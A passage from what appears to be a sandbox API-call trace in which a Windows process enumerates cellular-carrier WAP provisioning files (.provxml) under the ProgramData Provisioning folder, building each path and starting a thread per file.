(HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f01b68 [0182.038] wcscpy (in: _Dest=0x4f01b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.038] wcscat (in: _Dest=0x4f01b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.038] wcscat (in: _Dest=0x4f01b68, _Source="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0182.038] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="599__C~1.PRO")) returned 1 [0182.038] wcscmp (_String1="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.038] wcscmp (_String1="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f01cb0 [0182.038] wcscpy (in: _Dest=0x4f01cb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.039] wcscat (in: _Dest=0x4f01cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.039] wcscat (in: _Dest=0x4f01cb0, _Source="599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0182.039] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="59__CO~1.PRO")) returned 1 [0182.039] wcscmp (_String1="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.039] wcscmp (_String1="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.039] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x168) returned 0x2f6cfe8 [0182.039] wcscpy (in: _Dest=0x2f6cfe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.039] wcscat (in: _Dest=0x2f6cfe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.039] wcscat (in: _Dest=0x2f6cfe8, _Source="59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" [0182.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cfe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0182.041] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f0949, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900f0949, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900f0949, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="5__CON~1.PRO")) returned 1 [0182.041] wcscmp (_String1="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.041] wcscmp (_String1="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15c) returned 0x2ff0e08 [0182.041] wcscpy (in: _Dest=0x2ff0e08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.041] wcscat (in: _Dest=0x2ff0e08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.041] wcscat (in: _Dest=0x2ff0e08, _Source="5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" [0182.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0182.042] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="600__C~1.PRO")) returned 1 [0182.042] wcscmp (_String1="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.042] wcscmp (_String1="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.042] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f01790 [0182.042] wcscpy (in: _Dest=0x4f01790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.042] wcscat (in: _Dest=0x4f01790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.042] wcscat (in: _Dest=0x4f01790, _Source="600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" [0182.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0182.043] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="601__C~1.PRO")) returned 1 [0182.043] wcscmp (_String1="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.043] wcscmp (_String1="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f033c0 [0182.043] wcscpy (in: _Dest=0x4f033c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.043] wcscat (in: _Dest=0x4f033c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.043] wcscat (in: _Dest=0x4f033c0, _Source="601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" [0182.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f033c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0182.044] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="602__C~1.PRO")) returned 1 [0182.044] wcscmp (_String1="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.044] wcscmp (_String1="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.044] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f018d8 [0182.044] wcscpy (in: _Dest=0x4f018d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.044] wcscat (in: _Dest=0x4f018d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.044] wcscat (in: _Dest=0x4f018d8, _Source="602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" [0182.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f018d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0182.045] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="603__C~1.PRO")) returned 1 [0182.045] wcscmp (_String1="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.045] wcscmp (_String1="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.045] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f01df8 [0182.045] wcscpy (in: _Dest=0x4f01df8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.045] wcscat (in: _Dest=0x4f01df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.045] wcscat (in: _Dest=0x4f01df8, _Source="603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" [0182.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0182.046] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="604__C~1.PRO")) returned 1 [0182.046] wcscmp (_String1="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.046] wcscmp (_String1="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f90208 [0182.046] wcscpy (in: _Dest=0x2f90208, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.046] wcscat (in: _Dest=0x2f90208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.046] wcscat (in: _Dest=0x2f90208, _Source="604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\604__Connections_Cellular_Saunalahti (Finland)_i0$(__MVID)@WAP.provxml" [0182.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0182.046] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="605__C~1.PRO")) returned 1 [0182.046] wcscmp (_String1="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.047] wcscmp (_String1="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f90f78 [0182.047] wcscpy (in: _Dest=0x2f90f78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.047] wcscat (in: _Dest=0x2f90f78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.159] wcscat (in: _Dest=0x2f90f78, _Source="605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\605__Connections_Cellular_Saunalahti (Finland)_i1$(__MVID)@WAP.provxml" [0182.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0182.160] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915cdc15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915cdc15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915cdc15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="606__C~1.PRO")) returned 1 [0182.160] wcscmp (_String1="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.160] wcscmp (_String1="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f90208 [0182.160] wcscpy (in: _Dest=0x2f90208, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.161] wcscat (in: _Dest=0x2f90208, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.161] wcscat (in: _Dest=0x2f90208, _Source="606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\606__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" [0182.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0182.161] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, 